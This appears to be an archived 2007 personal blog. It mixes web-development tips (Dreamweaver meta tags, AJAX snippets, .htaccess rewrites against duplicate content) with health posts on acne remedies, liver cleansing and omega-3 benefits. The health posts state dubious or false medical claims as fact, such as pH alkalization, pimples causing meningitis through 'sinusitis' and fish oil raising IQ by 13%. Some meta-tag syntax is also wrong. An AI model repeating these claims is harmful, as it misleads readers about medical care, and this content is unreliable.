SDFormatter
ProductionTool MD
HP Disk Storage Format Tool
JetFlash Recovery
Recovery_1002
uFormat
mformat

List of usb-manufacturers
Pen, Twinmos, Transcend JetFlash, Seitec, WinMaxGroup, PQI Travelling Disk, Kingston Data Traveler, Agenie, Sony, LG, Samsung, Prolifiс, Ultra-Media, Sandisk, C-one, A-data, Apacer, Xonix, Canion, Lexar, JetFlash, Pretec iDisk, Silicon Power, Prestigio, Patriot, Digitex, Pretec, InnoDisk, ACEPlus, Bit4flash, Ultra-Media, Kingmax, Agenie, Gembird Kolibri, DIGMA, ChipsBnk, Genx, Easydisk, MyFlash, TwinMOS, Jogr, Ritek, Corsair Voyager, RunDisk, Intelligent stick, Imation, KingMax, Mr.Flash, Monstor, DIGMA, Elite, Patriot...

How to optimize a website using Dreamweaver

2007-03-22T04:01:00.000-07:00

Here are the steps for website optimization with Dreamweaver.

Meta tag optimization
First go to the menu "Insert". Choose "HTML" -> "Head Tags". From there you can add/edit your site keywords, description, to add meta refresh tags, base url address of your website, link to external document(CSS, JavaScript...) and others.

Website keywords are popular technique for optimization. The keywords in one page usually are separated with commas. Be careful though no to overwhelm your keywords because otherwise you'll be banned from the search engine listings. Here is a example of keywords code: <meta name="keywords" content="usefull advices, web sites, optimizing">

The description is similar to the keywords. Here the keywords are grouped into meaningful sentences. The description should be kept maximum to 100-200 symbols. It is the vey part of one website that you usually see as results when searching. So make it really briefly describing the content of your webpage. Here is a description example:
<meta name="description" content="Advices on optimizing websites">

Some other usefull meta tags:
author - the author of the web page.
<meta name="author" value="Nevyan Neykov">
copyright - copyright information.
<meta name="copyright" value="Copyright 1999-2007 Nevyan Neykov">
robots - guides the search robots such as google and yahoo whether to index(include) ones web page.
<meta name="robots" value="index,follow">

Another usefull meta tag is "http-equiv" from the menu Insert-Meta then choose HTTP-equivalent.
In the value specify charset. It will set the default encoding of the characters in one's webpage.
For example if you have problems displaying any cyrillic in you webpage just set the charset to: windows-1251
Most websites now use utf-8 encoding.
<meta equiv="charset" value="utf-8">

Content optimization
If you wish to further enhance/optimize your website you can adjust your website header information into heading tags such as H1,H2,H3.
Just select your most important heading text and go to Text->Paragraph Format->Heading 1. Dreamweaver will embrace your text with the H1 heading tag. Thus your heading text will have more weight into the search engine estimation.
Be carefull to use 1 or 2 max. sentences with this tag. Use H2,H3 to H6 tags to optimize your less important headings.

Happy optimizing.

AJAX and user interraction

2007-03-07T07:31:00.000-08:00

When you build AJAX applications the goal is to make them more convenient and accessible for the user.
One way to do this is via change in the cursor style from normal to waiting hourglass while the application performs its query to the server. This will automatically inform the user that the page is loading and one must wait.
Here is how to accomplish this via 2 JavaScript DOM lines that will inject css rule to the body tag and later clear it.

HOW:
In your application when loading, next to the display of the waiting status image place:

document.getElementsByTagName("body").item(0).style.cursor="wait";

Next when the application is ready and the waiting image is cleared restore the cursor style:

document.getElementsByTagName("body").item(0).style.cursor="auto";

For a comprehensive explanation behind the new web2 applications look at this modified AJAX diagram.

Cheers!

Acne - clean your liver

2007-03-04T04:03:00.000-08:00

Acne - liver connection
During puberty toxin levels in the body are higher because of its increased metabolism and rapid growth. At that time the liver( as a main filtering organ) can easily become overwhelmed. When that happens, body triggers its natural response of flushing out the toxins through the skin resulting in acne breakout. One way to restore liver's normal functioning is via cleanse.

Daily cleanse recipe
If you want to purify and detoxify your body from inside here is a recipe that you can do daily until you notice further improvement. It's nothing more than a salad dressing so it's harmless, unless you've got some serious liver issues.

Put the following ingredients into a glass:

1 glass of water
1 tablespoon of cold pressed virgin olive oil
juice of one lemon
2 garlic cloves
pinch of ginger

Stir or blend the mixture and drink on an empty stomach. Also if you’ve acidified your body’s Ph due to stress, negative emotions or improper diet, the drink will balance it back to normal(due to the lemon's alkaline properties). Proper alkalization of the whole body Ph, takes around 30 days, combined with green juices like Spirulina.

Fibre
Also take additional fibre to introduce more good bacteria in your stomach. Fibres keep the toxins and cholesterol from being reabsorbed into the blood and help to be excreted normally. Good source of fibre are the probiotic cultures of Lactobacillus Bulgaricus and Lactobacillus Bifidus found in yogurt.

Don't forget to drink 8 glasses of water daily. On the 5-6day you'll notice the difference. The receipt has also a beneficial effect on backne.

Additionally
Here is a list of herbs that might relieve your symptoms caused by improper liver_functioning. You could prepare herbal tea or an extract out of them. And please consult a qualified physician before consumption.

Dandelion root & leaves, Burdock root, Senna Alexandrina, Berberis Vulgaris or European Barberry, Cascara Sagrada, Cayenne Pepper, Fennel, Aloe Vera, Rhubarb, Marjoram, Cat's Claw, Comfrey(Symphytum), Chicory, Goldenrod(Solidago), Hortensis Root, Marshmallow Root, Bear's Grape, Thistle, Hydrastis, Liquorice, Glycyrrhiza glabra...

AJAX - check server connection

2007-02-13T06:16:00.000-08:00

If you are acquainted with the AJAX technology, then it is good to implement a technique for a server connection check.
For example when the server connection is lost over a period of time you could alert the user and try to send another HTTP request to the server.

Example:
After you open your connection: page_request.open { }

add a timeout function that will check the readyState of the request every 10 seconds and when no response is received will recursively re-run the request function.

window.setTimeout(
function(){ if (page_request.readyState != 4)
{
alert("There is a problem with the connection to the server. We'll try again.");
makeajaxrequest(url); return false }
}, 10000);

Here makeajaxrequest(url) is the recursive request function. The timeout is set to 10 seconds and check will be executed every time when the connection is lost.
You can also add a header status ready check: page_request.status==200 to the function above.

Clear acne with honey

2007-02-05T02:00:00.001-08:00

Acne is a skin problem and usually begins in both sexes during the puberty. One of the reasons that causes acne is the hormonal change that occurs at this age. It is often being observed as black spots on the face, neck and back skin pores. Often, followed by an additional infection acne leads to formation of pus pimples.
Acne is stressful for kids, as in this period of rapid growth psychological changes related with anger and hot temperness are usually observed.

Careful when treating!
When treated improperly acne can lead to serious disturbances. So it is prohibited to squeeze the pimples, especially those residing on the face. Young people must know that such actions could affect the central body nervous system and lead to meningitis.
The underlining reason behind is that the skin veins flow into the brain vessels called sinusitis. This way when psychically pressing the pimples the pus can easily go from the veins to the sinuses and then to the structural brain veins.
Incorrect skin treatment also hides another problem - an infection called sepsis which affects the whole organism. Both meningitis and sepsis are life-threatening, but its important to know that when treated properly the Vulgaris and Juvenilis forms of acne could be easily avoided.

What honey products give good results when treating acne?
Masks with pure nectarine bee honey
It is recommended to buy honey directly from the producer and not form the store. Also do not try to liquidize an already crystallized one, because this might diminish its healing properties. Just know that in case of skin contact at temperature of about 36C degrees honey's thin layers will instantly liquidize and provide all of its benefits.

The procedure
Here are three honey procedures that will make your skin clear and beautiful!

Wash your skin with water and mild soap. It is better if the soap is honey-enriched. Dry carefully without any irritation and put a thin layer of honey upon. Wait 1 hour and gently wash with warm water. Do 2 procedures like this daily for 15 days.
Pimples could also be treated for a 15 day period with 30% spirit solution of propolisis.
Boys: 3times daily take 1 tea spoon of honey mixed with honeybloom(1kg:200gr.) 1 hour before lunch

Girls: 3times daily take 1 tea spoon of honey mixed with honeymilk(1kg:10gr.) 1 hour before lunch

Types of honey
Here is a list of popular honey types and the reasons why they are so beneficial:

Lime tree honey offers first class quality - it has light yellow color, easily goes to crystals and has a specific aroma. It is used for inhalation when fighting respiration problems. Also has positive effect over the intestines and kidneys.
Acacia honey is considered as one of the best honeys - transparent, light, more liquid and with the specific acacia scent. It's suggested when having heart, intestinal problems, and inflammations occurring in women.
Poly floral field honey has light-amber color giving you tender aroma and taste. Another one in the family famous for its healing qualities.
Monofloral meadou - subdivided into transparent and semi-transparent and is used effectively in gynecology and diets.
The sunflower type has saturated, almost brown color with unique aroma and bitterness.
The tee colored chestnut type comes with a tart taste. This honey causes stimulating effect and is also known as the man's honey because of its aphrodisiac features.

Did you know?
Inverted sugar: In fact this is the sum of glucose and fructose, responsible for honey's quality. Best quality honey is a mix variety one having inverted sugar content of up to 80%.
Saccharose: is the plain sugar gained from sugar beet and sucar cane. Honey with increased quantity of saccharose is a low value one. High levels of saccharose could be observed when the bees are being fed with sugar suroup, as well as when their saliva glands responsible for producing sugar from nectar are being exhausted.

Benefits of the omega 3 Fish Oil – part III

2007-01-28T03:31:00.000-08:00

4) Fitness.
Muscles
Taking Omega-3(O3) oils protects blood vessel walls. How? It will:
• increase their elasticity
• improve endothelial dilation function(facilitate for the veins and arteries dilate properly)

Training benefits. If you take fish oil it will:
• Increase delivery of nutrients to the exercising muscle
• Ensure better nutrient partitioning - calories that are going be stored as fat in our body are being partitioned to the muscles

Nutrient partitioning explained
When we eat we produce energy that must be stored as body energy, released as heat or transformed to chemical energy and used to power our cells. This process is called nutrient partitioning.

• Enhance recovery and improve blood flow. People report that their joints start feeling better.
• Help in generating testosterone - hormone responsible for a muscle mass built.

Fat burning
Our cells have two metabolic organelles responsible for fuel burning to make energy: mitochondrion and peroxisome. O3 fatty acids increase the size of both metabolic fires, leading to an increase in the amount of energy burned in each organelle. This raises our metabolic rate and we burn more calories.

Omega-3 fish oil combined with exercise provides greater fat loss results than exercise or fish oil alone. A very good way to get in shape then is to combine regular training with taking O3 supplements. This way you’ll build muscle and burn more calories.

Insulin sensitivity
Insulin is food-storage and anti-breakdown hormone. It is a protein hormone secreted by the pancreas that helps regulate carbohydrate metabolism. It also drives incoming nutrients into our body cells for storage. When we eat our insulin level is increasing and the new nutrients are getting stored in muscle&fat cells. The nutrients that are already in these cells stay there.

When taking omega-3 fatty acids our body is getting more sensitive to insulin and releases less insulin during eating (process of deactivation of the anti-breakdown hormone). This way more stored fat will be released and less new will be accumulated.

Omega-3 allows the body to burn fat even in situations when fat burning is inhibited. Like for example in these cases:
• When eating carbohydrates, fat burning process is slowed down.
• During high intensity exercise, our body burns carbohydrate instead of fat.

In the above scenarios, fat burning is dramatically reduced. However, cells that receive O3 allow the body to burn it in both situations.

Omega-3 also decrease hunger and further boost our metabolic rate by increasing the amount of our body produced hormone leptin(a protein hormone with important effects in regulating our weight, metabolism and reproductive function).

Note: Don't take fish oil supplements on an empty stomach. O3 fatty acids are also fats and they can be burned as energy. So take them when you finish your meal.

Bone Health
Intake of O3 fatty acids(DHA), increase bone build up in young men. This way by having peak bone mass in adolescence one could prevent later osteoporosis.

Benefits of the omega 3 Fish Oil – part II

2007-01-26T02:43:00.000-08:00

2) Improve cardiovascular health.
Omega 3(O3) fatty acids decrease bad low density lipoprotein (LDL) cholesterol & triglyceride levels and blood pressure and increase good HDL cholesterol levels in the body. They also decrease arterial platelet collection, which leads to dangerous clots and protect us from cardiovascular diseases (irregular heart rhythms, high blood pressure, strokes…) by stopping the formation of fat deposits in our arteries and a decreased vascular wall thickness.
These essential acids help clear the arteries of cholesterol and improve or reverse atherosclerosis, angina, heart attack, congestive heart failure, arrhythmias, stroke and peripheral vascular disease.

The fat buildup process explained:
A thrombosis is caused when fat builds up on arterial walls and later breaks loose. If such thrombosis gets stuck in a brain vessel a stroke is caused and if it stucks in artery - a heart attack.
O3 FA break up such fat clots so they couldn’t cause any further damage. They:

balance certain electrical rhythms in the heart, this way preventing blood clots from forming.
promote the heart muscle tissues to be less susceptible to damage caused by a lack of blood flow.

Protect from cardiac arrhythmias
Without enough EFAs (essential fatty acids), body’s cell membranes are depleted from saturated FA and become less elastic.
If the elastic cardiac cells membranes are made from EFAs, the heart easily returns to a resting state. Otherwise the rigid cell membranes made from saturated fatty acids can cause an arrhythmias or irregular heartbeats and thus alter the cardiac muscle cell contraction. That’s why is recommended for the patients following coronary artery bypass surgery to receive these FA.

Overall cardiovascular health
The Eskimo diet is low in fruits/vegetables and high in animal fats. Why then the Eskimos have lower instances of coronary heart disease than a Danish people? Both diets have a high percentage of calories from fat: Danish diet has less than 1% omega-3 and ~23% saturated fat. Eskimos consume ~9% saturated and ~4% omega-3 fat.
Not only Eskimos but also the Japanese have very low rates of heart diseases because of the fish presence in their diet. Reason: consuming O6 fatty acids promote to increased inflammation, platelet aggregation and blood clots, while O3 fatty acids reduce them. Therefore it is good to consume a ratio of O6 to O3 at the 2:1 range.

3) Brain function.
O3 fatty acids are important for embryo’s brain and eyes development. It contributes to these tissues health.

How does omega-3's protect the brain?
Brain is composed mainly from DHA. It is a primary structural component of the brain tissue and has a direct effect on brain chemistry, development and functioning. DHA is also highly concentrated in membranes of brain synapses and in the retina of the eye.
The richest single source of DHA is the O3 in fish and fish oil. DHA is vital to a child's diet.
• can impact child’s intelligence and happiness.
• modify the behavior of over-active children.
• for non-depressed people, EFA may offer mood elevating properties.
• may boost the effectiveness of antidepressants in some people.
• depressed people showed less anxiety, fewer sleeping problems, less overall sadness, and fewer sexual problems.
• dramatically improve the behavior of unruly children and help develop their concentration and language skills.
• for adults, it improves memory function, recall, reasoning and concentration/focus. It also helps the impaired ones.
• people who take EFA score 13% higher on IQ tests.
• Eskimos and Japanese have almost no evidence or have very low rates of depression. Reason: they consume lots of fish.
• alleviate the symptoms of mood swings or depression, bipolar disorders and psychosis(participants who took O3 have increased gray matter in areas of the brain associated with emotional arousal and regulation and behavior)

Benefits of the omega 3 Fish Oil – part I

2007-01-24T04:51:00.000-08:00

Health benefits of consuming fish oil:

1) Reduce inflammation and pain, regulate the immune system, allergies
Omega 3 fatty acids(O3 FA) have a positive effect on our inflammatory response. They regulate body's inflammation cycle, thus prevent and relieve painful conditions like prostatitis and cystitis. This also can be of great benefit to people suffering from rheumatoid arthritis or ulcerative colitis.

Alpha-linolenic acid(ALA), converted to EPA and DHA in our body is used as important raw material in the cell membranes. ALA can be found in: flaxseed, soybean, hempseed, pumpkinseed, canola, wheat germ, walnut and butternut. However, the conversion of alpha-linolenic acid to EPA and DHA is quite inefficient: conversion rates at less than 7%. Lifestyle can also decrease these rates. EPA and DHA are O3 FA contained in fish oil. Supplementing with fish oil can:

• decrease both the degradative and inflammatory aspects of chondrocyte metabolism, without side effect on the normal tissue homeostasis
• reduce the negative trends and their related symptoms in patients with osteoarthritis
• reduces fatigue and stiffness in rheumatoid arthritis. Limit the release of leukotrien B and interleukin 1 from neutrophils and monocytes - the two inflammation causing factors.
• improve cold exposure tolerance and significantly delay the onset of vasospasm in Raynaud's patients.
• in cases of pediatric SLE(Systemic lupus erythematosus), dyslipoproteinemia significantly improve blood lipid profiles.

In allergic cases:
A central function of our immune system is to distinguish foreign molecules from our own. It fights foreign molecules by producing more white blood cells and antibodies. During one allergy process the immune response is excessive.

How our immuninty system is being controlled?
The intensity of an immune response is controlled by prostaglandins hormones. Our body makes two types prostaglandins hormones: Type1 - to increase the response and type2 to reduce it. They must be in balance in order the response to be correct. These prostaglandins are produced from Essential Fatty Acids (EFAs). There are two types of them: Omega-6 and Omega-3.

Role of O6 FA
They produce Arachidonic acid which serves as a building block for the eicosanoids that control the synthesis of pro-inflammatory and immunoregulatory cytokines. Therefore our body uses o6 to make the prostaglandins that increase our immune response.

Role of O3 FA
They on the other hand, inhibit the production of arachidonic acid. They serve as raw materials for a healthier class of eicosanoids with anti-inflammatory properties. In this case our body makes prostaglandins out of o3 that reduce our immunity response.

The problem with most diets is that the ratio of O6 to O3 is above 10 to 1. With such ratios our immune system overruns and allergy happens. To correct this excessive ratio in the diet, one should avoid O6 and supplement the diet with O3 rich fats and oils.

Timing
The life span of the lymphocytes – the white blood cells that attack the foreign bodies and produce antibodies is from six months to two years. Therefore expect results a least six months after the EFA’s treatment.

Duplicate website content and how to avoid it

2007-01-12T08:41:00.000-08:00

Here I'll present a practical way on how to avoid the duplicate content penalty.

When is this penalty applied?
This kind of penalty is applied by search engines such as Google when there is an indication of two exactly the same versions of your site's content.

How can your website become a victim of such penalty?
The modern content management systems(CMS) and community forums offer numerous possibilities of managing new content, but because of their deep structure their URLs are very longer. So search engines are unable to fully spider the site.
The solution to webmasters was to rewrite the old url so index.php?mode=look_article&article_id=12 url now becomes just article-12.html. As a first step it serves its purpose, but if left like this the two urls are going to be indexed. If we look through the eyes of a search engine we'll see same content having 2 instances and of course the duplicate filter is raised:

I-st instance: index.php?mode=look_article&article_id=12

II-nd instance: article-12.html

Easy solution
The solution is done via PHP language and using .htaccess Apache file.
First off we'll rewrite our URLs so they can be search friendly. Let's assume that we've to redirect our index.php?mode=look_article&article_id=... to article-....html

Create an empty .htaccess file and place this. First edit the code and fill in your website address. If you don't have subdomain then erase the subdomain variable also.

RewriteEngine on

RewriteRule article-([0-9]+)\.html    http://www.yourwebsite/subdomain/index.php?mode=look_article&article_id=$1&rw=on

RewriteCond %{the_request} ^[A-Z]{3,9}\ /subdomain/index\.php\ HTTP/
RewriteRule index\.php http://www.yourwebsite/subdomain/ [R=301,L]

RewriteCond %{HTTP_HOST} .
RewriteCond %{HTTP_HOST} ^www\.yourwebsite\.subdomain [nc]
RewriteRule ^(.*)$ http://yourwebsite/subdomain/$1 [R=301,L]

Explanation:

RewriteRule article-([0-9]+)\.html http://www.yourwebsite/subdomain/index.php?mode=look_article&article_id=$1&rw=on
Those lines allow article-12.html to be loaded internaly as index.php?mode=look_article&article_id=12
The variable &rw=on is important for the later php code. So dont forget to include it.

RewriteCond %{the_request} ^[A-Z]{3,9}\ /subdomain/index\.php\ HTTP/
RewriteRule index\.php http://www.yourwebsite/subdomain/ [R=301,L]
This lines avoid considering index.php as a separate page thus lowering your website PR and will transfer all the PR from index.php to your domain.

RewriteCond %{HTTP_HOST} .
RewriteCond %{HTTP_HOST} ^www\.yourwebsite\.subdomain [nc]
RewriteRule ^(.*)$ http://yourwebsite/subdomain/$1 [R=301,L]
This will avoid duplicate urls such as www and non-www and transfer all the requests and PR to the non-www site.

Then create file header.php and include in your website before all other files:

Put there:

$rw=$_GET['rw'];
if ($rw=="on") { echo "<meta content=\"index,follow\" name=\"robots\" />"; }

else { echo "<meta content=\"noindex,nofollow\" name=\"robots\" />"; }

This will point the search engine to index only the pages that will have rw flag set to on. These pages will be the previous set like article-12.html pages.

Of course if you have access to your robots.txt file and to your root domain then you can just put the file: look_article there and you are done:

User-agent: *
Disallow: /look_article.php

Notes: For those using CMS - check out whether your pages are still accessible using different parameters in the URL
Example: you've deleted an article with id=17 but the empty template would be still accessible producing header status 200 OK code - this will be surely recognized as a spam from Google.
Solution:
1.Find out those empty pages and give them header status 404 not found code:

header("Status: 404 Not Found");

2. Create error404.html file explaining that the user is trying to access a non-existent page.

3.Then add in your .htaccess file the custom 404 error page:

ErrorDocument 404 /your_domain_name/error404.html

This way the search engine spider wont penalize your template displaying empty information - it will now see those pages as a 404 not-found document.

Next step involves cleaning up of an already indexed but duplicated website content in order to regain the search engine's trust. So happy reading.
Hope it helps!